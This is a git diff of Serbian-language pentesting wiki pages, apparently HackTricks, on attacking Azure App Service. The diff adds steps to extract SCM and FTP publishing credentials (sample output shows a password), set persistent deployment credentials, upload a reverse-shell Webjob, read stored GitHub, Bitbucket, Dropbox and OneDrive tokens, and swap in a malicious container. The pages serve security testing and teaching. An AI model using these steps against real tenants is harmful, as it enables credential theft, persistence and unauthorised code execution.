diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index 375de96a9..f0056d59f 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -1,4 +1,4 @@ -# Az - Alati za Enumeraciju +# Az - Alatke za Enumeraciju {{#include ../../banners/hacktricks-training.md}} @@ -6,26 +6,24 @@ > [!TIP] > Na linuxu ćete morati da instalirate PowerShell Core: -> -> ```bash -> sudo apt-get update -> sudo apt-get install -y wget apt-transport-https software-properties-common -> -> # Ubuntu 20.04 -> wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb -> -> # Ažurirajte repozitorijume -> sudo apt-get update -> sudo add-apt-repository universe -> -> # Instalirajte i pokrenite powershell -> sudo apt-get install -y powershell -> pwsh -> -> # Az cli -> curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash -> ``` +```bash +sudo apt-get update +sudo apt-get install -y wget apt-transport-https software-properties-common +# Ubuntu 20.04 +wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb + +# Update repos +sudo apt-get update +sudo add-apt-repository universe + +# Install & start powershell +sudo apt-get install -y powershell +pwsh + +# Az cli +curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash +``` ## Instalirajte PowerShell na MacOS Uputstva iz [**dokumentacije**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4): @@ -105,7 +103,7 @@ Korišćenjem parametra **`-Debug`** moguće je videti sve zahteve koje alat ša ```bash Get-AzResourceGroup -Debug ``` -Da biste izvršili **MitM** na alatu i **proverili sve zahteve** koje šalje ručno, možete postaviti varijable okruženja `HTTPS_PROXY` i `HTTP_PROXY` prema [**dokumentaciji**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy). +Da biste izvršili **MitM** na alat i **proverili sve zahteve** koje šalje ručno, možete postaviti varijable okruženja `HTTPS_PROXY` i `HTTP_PROXY` prema [**dokumentaciji**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy). ### Microsoft Graph PowerShell diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md index 41fa8a4f0..f10f19251 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md @@ -10,16 +10,16 @@ Za više informacija o Azure App uslugama, proverite: ../az-services/az-app-service.md {{#endref}} -### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read, +### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read -Ove dozvole omogućavaju pozivanje sledećih komandi za dobijanje **SSH shell** unutar web aplikacije +Ove dozvole omogućavaju pristup **SSH shell** unutar web aplikacije. Takođe omogućavaju **debug** aplikacije. -- Direktna opcija: +- **SSH u jednoj komandi**: ```bash # Direct option az webapp ssh --name --resource-group ``` -- Kreirajte tunel, a zatim se povežite na SSH: +- **Kreirajte tunel i zatim se povežite na SSH**: ```bash az webapp create-remote-connection --name --resource-group @@ -32,4 +32,249 @@ az webapp create-remote-connection --name --resource-group ## So from that machine ssh into that port (you might need generate a new ssh session to the jump host) ssh root@127.0.0.1 -p 39895 ``` +- **Debugujte aplikaciju**: +1. Instalirajte Azure ekstenziju u VScode. +2. Prijavite se u ekstenziju sa Azure nalogom. +3. Prikazujte sve App usluge unutar pretplate. +4. Izaberite App uslugu koju želite da debugujete, desni klik i izaberite "Start Debugging". +5. Ako aplikacija nema omogućeno debugovanje, ekstenzija će pokušati da ga omogući, ali vaš nalog treba da ima dozvolu `Microsoft.Web/sites/config/write` da bi to uradio. + +### Dobijanje SCM kredencijala i omogućavanje osnovne autentifikacije + +Da biste dobili SCM kredencijale, možete koristiti sledeće **komande i dozvole**: + +- Dozvola **`Microsoft.Web/sites/publishxml/action`** omogućava pozivanje: +```bash +az webapp deployment list-publishing-profiles --name --resource-group +# Example output +[ +{ +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"hostingProviderForumLink": "", +"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy", +"publishMethod": "MSDeploy", +"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443", +"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +}, +{ +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"ftpPassiveMode": "True", +"hostingProviderForumLink": "", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP", +"publishMethod": "FTP", +"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot", +"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +}, +{ +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"hostingProviderForumLink": "", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy", +"publishMethod": "ZipDeploy", +"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443", +"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +} +] +``` +Napomena kako je **korisničko ime uvek isto** (osim u FTP-u gde se na početku dodaje ime aplikacije) ali je **lozinka ista** za sve njih. + +Pored toga, **SCM URL je `.scm.azurewebsites.net`**. + +- Dozvola **`Microsoft.Web/sites/config/list/action`** omogućava pozivanje: +```bash +az webapp deployment list-publishing-credentials --name --resource-group +# Example output +{ +"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"kind": null, +"location": "Canada Central", +"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a", +"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"publishingPasswordHash": null, +"publishingPasswordHashSalt": null, +"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"resourceGroup": "carlos_rg_3170", +"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net", +"type": "Microsoft.Web/sites/publishingcredentials" +} +``` +Napomena kako su **akreditivi isti** kao u prethodnoj komandi. + +- Druga opcija bi bila da **postavite svoje akreditive** i koristite ih: +```bash +az webapp deployment user set \ +--user-name hacktricks \ +--password 'W34kP@ssw0rd123!' +``` +Zatim, možete koristiti ove kredencijale da **pristupite SCM i FTP platformama**. Ovo je takođe odličan način za održavanje postojanosti. + +Zapamtite da za pristup SCM platformi sa **veb-a morate pristupiti `/BasicAuth`**. + +> [!WARNING] +> Imajte na umu da svaki korisnik može konfigurisati svoje kredencijale pozivajući prethodnu komandu, ali ako korisnik nema dovoljno dozvola za pristup SCM ili FTP, kredencijali neće raditi. + +- Ako vidite da su ti kredencijali **REDAKTOVANI**, to je zato što **morate omogućiti opciju osnovne autentifikacije SCM** i za to vam je potrebna druga dozvola (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` +```bash +# Enable basic authentication for SCM +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \ +--body '{ +"properties": { +"allow": true +} +}' + +# Enable basic authentication for FTP +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \ +--body '{ +"properties": { +"allow": true +} +} +``` +### Objavite kod koristeći SCM akreditive + +Samo sa validnim SCM akreditivima moguće je **objaviti kod** na App servisu. To se može uraditi koristeći sledeću komandu. + +Za ovaj python primer možete preuzeti repozitorijum sa https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, napraviti bilo kakve **promene** koje želite i zatim **zipovati pokretanjem: `zip -r app.zip .`**. + +Zatim možete **objaviti kod** sledećom komandom: +```bash +curl -X POST "/api/publish?type=zip" --data-binary "@./app.zip" -u ':' -H "Content-Type: application/octet-stream" +``` +### Microsoft.Web/sites/publish/Action | SCM kredencijali + +Pomenuta Azure dozvola omogućava izvođenje nekoliko zanimljivih akcija koje se takođe mogu izvesti sa SCM kredencijalima: + +- Čitanje **Webjobs** logova: +```bash +# Using Azure credentials +az rest --method GET --url "/vfs/data/jobs//rev5/job_log.txt" --resource "https://management.azure.com/" +az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/" + +# Using SCM username and password: +curl "/vfs/data/jobs/continuous/job_name/job_log.txt" \ +--user ':>' -v +``` +- Pročitajte **Webjobs** izvorni kod: +```bash +# Using SCM username and password: +# Find all the webjobs inside: +curl "/wwwroot/App_Data/jobs/" \ +--user ':' + +# e.g. +curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \ +--user ':' +``` +- Kreirajte **kontinuirani Webjob**: +```bash +# Using Azure permissions +az rest \ +--method put \ +--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \ +--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \ +--body "@/Users/username/Downloads/rev.js" \ +--resource "https://management.azure.com/" + +# Using SCM credentials +curl -X PUT \ +"/api/Continuouswebjobs/reverse_shell2" \ +-H 'Content-Disposition: attachment; filename=rev.js' \ +--data-binary "@/Users/carlospolop/Downloads/rev.js" \ +--user ':' +``` +### Microsoft.Web/sites/config/list/action + +Ova dozvola omogućava da se prikažu **connection strings** i **appsettings** App servisa koji mogu sadržati osetljive informacije poput kredencijala za bazu podataka. +```bash +az webapp config connection-string list --name --resource-group +az webapp config appsettings list --name --resource-group +``` +### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + +Ove dozvole omogućavaju da se **dodeli upravljana identitet** servisu aplikacije, tako da ako je servis aplikacije prethodno bio kompromitovan, ovo će omogućiti napadaču da dodeli nove upravljane identitete servisu aplikacije i **poveća privilegije** na njih. +```bash +az webapp identity assign --name --resource-group --identities /subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/ +``` +### Pročitajte Konfigurisane Treće Strane Akreditive + +Pokretanjem sledeće komande moguće je **pročitati akreditive treće strane** konfigurisane u trenutnom nalogu. Imajte na umu da, na primer, ako su neki Github akreditive konfigurisani za drugog korisnika, nećete moći da pristupite tokenu iz drugog. +```bash +az rest --method GET \ +--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" +``` +Ova komanda vraća tokene za Github, Bitbucket, Dropbox i OneDrive. + +Evo nekoliko primera komandi za proveru tokena: +```bash +# GitHub – List Repositories +curl -H "Authorization: token " \ +-H "Accept: application/vnd.github.v3+json" \ +https://api.github.com/user/repos + +# Bitbucket – List Repositories +curl -H "Authorization: Bearer " \ +-H "Accept: application/json" \ +https://api.bitbucket.org/2.0/repositories + +# Dropbox – List Files in Root Folder +curl -X POST https://api.dropboxapi.com/2/files/list_folder \ +-H "Authorization: Bearer " \ +-H "Content-Type: application/json" \ +--data '{"path": ""}' + +# OneDrive – List Files in Root Folder +curl -H "Authorization: Bearer " \ +-H "Accept: application/json" \ +https://graph.microsoft.com/v1.0/me/drive/root/children +``` +### Ažurirajte kod aplikacije iz izvora + +- Ako je konfigurisan izvor treće strane kao što su Github, BitBucket ili Azure Repository, možete **ažurirati kod** usluge aplikacije kompromitovanjem izvornog koda u repozitorijumu. +- Ako je aplikacija konfigurisana koristeći **daljinski git repozitorijum** (sa korisničkim imenom i lozinkom), moguće je dobiti **URL i osnovne autentifikacione podatke** za kloniranje i slanje izmena sa: +- Koristeći dozvolu **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name --resource-group ` +- Koristeći dozvolu **`Microsoft.Web/sites/config/list/action`**: +- `az webapp deployment list-publishing-credentials --name --resource-group ` +- `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` +- Ako je aplikacija konfigurisana da koristi **lokalni git repozitorijum**, moguće je **klonirati repozitorijum** i **slati izmene** u njega: +- Koristeći dozvolu **`Microsoft.Web/sites/sourcecontrols/read`**: Možete dobiti URL git repozitorijuma sa `az webapp deployment source show --name --resource-group `, ali će to biti isto kao SCM URL aplikacije sa putanjom `/.git` (npr. `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`). +- Da biste dobili SCM akreditive, potrebna vam je dozvola: +- **`Microsoft.Web/sites/publishxml/action`**: Zatim pokrenite `az webapp deployment list-publishing-profiles --resource-group -n `. +- **`Microsoft.Web/sites/config/list/action`**: Zatim pokrenite `az webapp deployment list-publishing-credentials --name --resource-group ` + +> [!WARNING] +> Imajte na umu da je, imajući dozvolu `Microsoft.Web/sites/config/list/action` i SCM akreditive, uvek moguće implementirati u webapp (čak i ako je konfigurisana da koristi treću stranu) kao što je pomenuto u prethodnom odeljku. + +> [!WARNING] +> Imajte na umu da je, imajući dozvole u nastavku, takođe **moguće izvršiti proizvoljan kontejner** čak i ako je webapp konfigurisana drugačije. + +### `Microsoft.Web/sites/config/Write`, `Microsoft.Web/sites/config/Read`, `Microsoft.Web/sites/config/list/Action`, `Microsoft.Web/sites/Read` + +Ovo je skup dozvola koji omogućava **modifikaciju kontejnera koji se koristi** od strane webapp-a. Napadač bi mogao da ga zloupotrebi da natera webapp da izvrši maliciozni kontejner. +```bash +az webapp config container set \ +--name \ +--resource-group \ +--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest +``` {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-app-service.md b/src/pentesting-cloud/azure-security/az-services/az-app-service.md index 9a1d7fed1..4d246fa91 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-app-service.md +++ b/src/pentesting-cloud/azure-security/az-services/az-app-service.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -## Osnovne informacije o App Service +## App Service Basic Information Azure App Services omogućava programerima da **prave, implementiraju i skaliraju web aplikacije, mobilne aplikacije i API-je bez problema**. Podržava više programskih jezika i integriše se sa raznim Azure alatima i uslugama za poboljšanu funkcionalnost i upravljanje. @@ -14,35 +14,87 @@ Svaka aplikacija radi unutar sandbox-a, ali izolacija zavisi od App Service plan > [!WARNING] > Imajte na umu da **nijedna** od tih izolacija **ne sprečava** druge uobičajene **web ranjivosti** (kao što su upload fajlova ili injekcije). I ako se koristi **identitet za upravljanje**, može biti u mogućnosti da **poveća privilegije na njih**. +Aplikacije imaju neka zanimljiva podešavanja: + +- **Always On**: Osigurava da aplikacija uvek radi. Ako nije omogućeno, aplikacija će prestati da radi nakon 20 minuta neaktivnosti i ponovo će se pokrenuti kada se primi zahtev. +- Ovo je bitno ako imate webjob koji treba da radi kontinuirano, jer će webjob prestati ako aplikacija prestane. +- **SSH**: Ako je omogućeno, korisnik sa dovoljno dozvola može se povezati na aplikaciju koristeći SSH. +- **Debugging**: Ako je omogućeno, korisnik sa dovoljno dozvola može da debaguje aplikaciju. Međutim, ovo se automatski onemogućava svake 48h. +- **Web App + Database**: Web konzola omogućava kreiranje aplikacije sa bazom podataka. U ovom slučaju, moguće je odabrati bazu podataka koja će se koristiti (SQLAzure, PostgreSQL, MySQL, MongoDB) i takođe omogućava kreiranje Azure Cache za Redis. +- URL koji sadrži kredencijale za bazu podataka i Redis biće sačuvan u **appsettings**. +- **Container**: Moguće je implementirati kontejner na App Service tako što ćete navesti URL kontejnera i kredencijale za pristup. + +## Basic Authentication + +Kada kreirate web aplikaciju (i obično Azure funkciju), moguće je naznačiti da li želite da Basic Authentication bude omogućena. Ovo u suštini **omogućava SCM i FTP** za aplikaciju, tako da će biti moguće implementirati aplikaciju koristeći te tehnologije.\ +Pored toga, da biste se povezali na njih, Azure pruža **API koji omogućava dobijanje korisničkog imena, lozinke i URL-a** za povezivanje na SCM i FTP servere. + +Moguće je povezati se na SCM koristeći web pregledač na `https:///BasicAuth` i proveriti sve fajlove i implementacije tamo. + +### Kudu + +Kudu je **motor za implementaciju i platforma za upravljanje za Azure App Service i Function Apps**, koja pruža Git-bazirane implementacije, daljinsko debagovanje i mogućnosti upravljanja fajlovima za web aplikacije. Dostupan je putem SCM URL-a web aplikacije. + +Imajte na umu da su Kudu verzije koje koriste App Services i Function Apps različite, pri čemu je verzija Function aplikacija mnogo ograničenija. + +Neki zanimljivi krajnji tački koje možete pronaći u Kudu su: +- `/DebugConsole`: Konzola koja vam omogućava da izvršavate komande u okruženju u kojem Kudu radi. +- Imajte na umu da ovo okruženje **nema pristup** metapodacima za dobijanje tokena. +- `/webssh/host`: Web-bazirani SSH klijent koji vam omogućava da se povežete unutar kontejnera gde aplikacija radi. +- Ovo okruženje **ima pristup** metapodacima kako bi dobilo tokene od dodeljenih upravljanih identiteta. +- `/Env`: Dobijte informacije o sistemu, podešavanjima aplikacije, env varijablama, konekcionim stringovima i HTTP header-ima. +- `/wwwroot/`: Korenski direktorijum web aplikacije. Možete preuzeti sve fajlove odavde. + +## Sources + +App Services omogućava upload koda kao zip fajla po defaultu, ali takođe omogućava povezivanje na treću stranu i dobijanje koda odatle. + +- Trenutno podržani izvori trećih strana su **Github** i **Bitbucket**. +- Možete dobiti tokene za autentifikaciju pokretanjem `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"` +- Azure po defaultu postavlja **Github Action** za implementaciju koda na App Service svaki put kada se kod ažurira. +- Takođe je moguće naznačiti **daljinski git repozitorij** (sa korisničkim imenom i lozinkom) da biste dobili kod odatle. +- Možete dobiti kredencijale za daljinski repozitorij pokretanjem `az webapp deployment source show --name --resource-group ` ili `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` +- Takođe je moguće koristiti **Azure Repository**. +- Takođe je moguće konfigurisati **lokalni git repozitorij**. +- Možete dobiti URL git repozitorija sa `az webapp deployment source show --name --resource-group ` i to će biti SCM URL aplikacije. +- Da biste ga klonirali, biće vam potrebni SCM kredencijali koje možete dobiti sa `az webapp deployment list-publishing-profiles --resource-group -n ` + + +## Webjobs + +Azure WebJobs su **pozadinski zadaci koji se izvršavaju u Azure App Service okruženju**. Omogućavaju programerima da izvršavaju skripte ili programe zajedno sa svojim web aplikacijama, olakšavajući rukovanje asinhronim ili vremenski intenzivnim operacijama kao što su obrada fajlova, rukovanje podacima ili zakazani zadaci. +Postoje 2 tipa web jobova: +- **Continuous**: Radi neprekidno u petlji i aktivira se čim se kreira. Idealno je za zadatke koji zahtevaju konstantno procesiranje. Međutim, ako aplikacija prestane da radi jer je Always On onemogućen i nije primila zahtev u poslednjih 20 minuta, web job će takođe prestati. +- **Triggered**: Radi na zahtev ili na osnovu rasporeda. Najbolje je prilagođen za periodične zadatke, kao što su ažuriranja podataka ili rutinske održavanja. + +Webjobs su veoma zanimljivi iz perspektive napadača jer se mogu koristiti za **izvršavanje koda** u okruženju i **povećanje privilegija** na dodeljene upravljane identitete. + +Pored toga, uvek je zanimljivo proveriti **logove** koje generišu Webjobs jer mogu sadržati **osetljive informacije**. + +### Slots + +Azure App Service Slots se koriste za **implementaciju različitih verzija aplikacije** na istom App Service-u. Ovo omogućava programerima da testiraju nove funkcije ili promene u odvojenom okruženju pre nego što ih implementiraju u produkciono okruženje. + +Pored toga, moguće je usmeriti **procenat saobraćaja** na određeni slot, što je korisno za **A/B testiranje** i za backdoor svrhe. + ### Azure Function Apps -U suštini, **Azure Function aplikacije su podskup Azure App Service** u web-u i ako odete na web konzolu i navedete sve usluge aplikacija ili izvršite `az webapp list` u az cli, moći ćete da **vidite da su i Function aplikacije ovde navedene**. +U suštini, **Azure Function aplikacije su podskup Azure App Service** u web-u i ako odete na web konzolu i navedete sve app servise ili izvršite `az webapp list` u az cli, moći ćete da **vidite i Function aplikacije ovde navedene**. -U stvari, neke od **karakteristika vezanih za bezbednost** koje App services koriste (`webapp` u az cli), **takođe koriste i Function aplikacije**. +U stvari, neke od **karakteristika vezanih za bezbednost** koje App servisi koriste (`webapp` u az cli), takođe se **koriste i od strane Function aplikacija**. -## Osnovna autentifikacija -Kada kreirate web aplikaciju (a obično i Azure funkciju), moguće je naznačiti da li želite da bude omogućena osnovna autentifikacija. Ovo u suštini **omogućava SCM i FTP** za aplikaciju, tako da će biti moguće implementirati aplikaciju koristeći te tehnologije.\ -Pored toga, da bi se povezali sa njima, Azure pruža **API koji omogućava dobijanje korisničkog imena, lozinke i URL-a** za povezivanje sa SCM i FTP serverima. - -- Autentifikacija: az webapp auth show --name lol --resource-group lol_group - -SSH - -Always On - -Debugging - -### Enumeracija +### Enumeration {{#tabs }} {{#tab name="az" }} ```bash # List webapps az webapp list - ## Less information -az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}" +az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}" -o table +## Get SCM URL of each webapp +az webapp list | grep '"name"' | grep "\.scm\." | awk '{print $2}' | sed 's/"//g' # Get info about 1 app az webapp show --name --resource-group @@ -51,18 +103,24 @@ az webapp show --name --resource-group az webapp list-instances --name --resource-group ## If you have enough perm you can go to the "consoleUrl" and access a shell inside the instance form the web -# Get configured Auth information -az webapp auth show --name --resource-group - # Get access restrictions of an app az webapp config access-restriction show --name --resource-group # Remove access restrictions az webapp config access-restriction remove --resource-group -n --rule-name +# Get connection strings of a webapp +az webapp config connection-string list --name --resource-group + # Get appsettings of an app az webapp config appsettings list --name --resource-group +# Get SCM and FTP credentials +az webapp deployment list-publishing-profiles --name --resource-group + +# Get configured Auth information +az webapp auth show --name --resource-group + # Get backups of a webapp az webapp config backup list --webapp-name --resource-group @@ -75,61 +133,39 @@ az webapp config snapshot list --resource-group -n # Restore snapshot az webapp config snapshot restore -g -n --time 2018-12-11T23:34:16.8388367 -# Get connection strings of a webapp -az webapp config connection-string list --name --resource-group +# Get slots +az webapp deployment slot list --name --resource-group --output table +az webapp show --slot --name --resource-group + +# Get traffic-routing +az webapp traffic-routing show --name --resource-group # Get used container by the app az webapp config container show --name --resource-group # Get storage account configurations of a webapp -az webapp config storage-account list --name --resource-gl_group +az webapp config storage-account list --name --resource-group +# Get configured container (if any) in the webapp, it could contain credentials +az webapp config container show --name --resource-group +# Get Webjobs +az webapp webjob continuous list --resource-group --name +az webapp webjob triggered list --resource-group --name +# Read webjobs logs with Azure permissions +az rest --method GET --url "/vfs/data/jobs//rev5/job_log.txt" --resource "https://management.azure.com/" +az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/" -# List all the functions -az functionapp list +# Read webjobs logs with SCM credentials +curl "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/lala/job_log.txt" \ +--user ':' -v -# Get info of 1 funciton (although in the list you already get this info) -az functionapp show --name --resource-group -## If "linuxFxVersion" has something like: "DOCKER|mcr.microsoft.com/..." -## This is using a container +# Get connections of a webapp +az webapp conection list --name --resource-group -# Get details about the source of the function code -az functionapp deployment source show \ ---name \ ---resource-group -## If error like "This is currently not supported." -## Then, this is probalby using a container - -# Get more info if a container is being used -az functionapp config container show \ ---name \ ---resource-group - -# Get settings (and privesc to the sorage account) -az functionapp config appsettings list --name --resource-group - -# Check if a domain was assigned to a function app -az functionapp config hostname list --webapp-name --resource-group - -# Get SSL certificates -az functionapp config ssl list --resource-group - -# Get network restrictions -az functionapp config access-restriction show --name --resource-group - -# Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code) -az rest --method GET \ ---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions?api-version=2024-04-01" - -# Get source code with Master Key of the function -curl "?code=" -## Python example -curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=" -v - -# Get source code -az rest --url "https://management.azure.com//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" +# Get hybrid-connections of a webapp +az webapp hybrid-connections list --name --resource-group ``` {{#endtab }} @@ -196,6 +232,40 @@ git clone 'https://:@name.scm.azurewebsites.net/repo-name.gi ../az-privilege-escalation/az-app-services-privesc.md {{#endref}} +## Primeri za generisanje Web Aplikacija + +### Python sa lokalnog + +Ovaj tutorijal se zasniva na onom sa [https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli). +```bash +# Clone repository +git clone https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart +cd msdocs-python-flask-webapp-quickstart + +# Create webapp from this code +az webapp up --runtime PYTHON:3.9 --sku B1 --logs +``` +Prijavljivanje na SCM portal ili prijavljivanje putem FTP-a omogućava da se u `/wwwroot` vidi kompresovani fajl `output.tar.gz` koji sadrži kod web aplikacije. + +> [!TIP] +> Samo povezivanje putem FTP-a i modifikovanje fajla `output.tar.gz` nije dovoljno da se promeni kod koji izvršava web aplikacija. + +**Napadač bi mogao da preuzme ovaj fajl, modifikuje ga i ponovo ga otpremi da bi izvršio proizvoljan kod u web aplikaciji.** + +### Python sa Github-a + +Ovaj tutorijal se zasniva na prethodnom, ali koristi Github repozitorijum. + +1. Forkujte repozitorijum msdocs-python-flask-webapp-quickstart na vašem Github nalogu. +2. Kreirajte novu python Web App u Azure-u. +3. U `Deployment Center` promenite izvor, prijavite se sa Github-om, izaberite forkovani repozitorijum i kliknite na `Save`. + +Kao u prethodnom slučaju, prijavljivanje na SCM portal ili prijavljivanje putem FTP-a omogućava da se u `/wwwroot` vidi kompresovani fajl `output.tar.gz` koji sadrži kod web aplikacije. + +> [!TIP] +> Samo povezivanje putem FTP-a i modifikovanje fajla `output.tar.gz` i ponovo pokretanje implementacije nije dovoljno da se promeni kod koji izvršava web aplikacija. + + ## Reference - [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)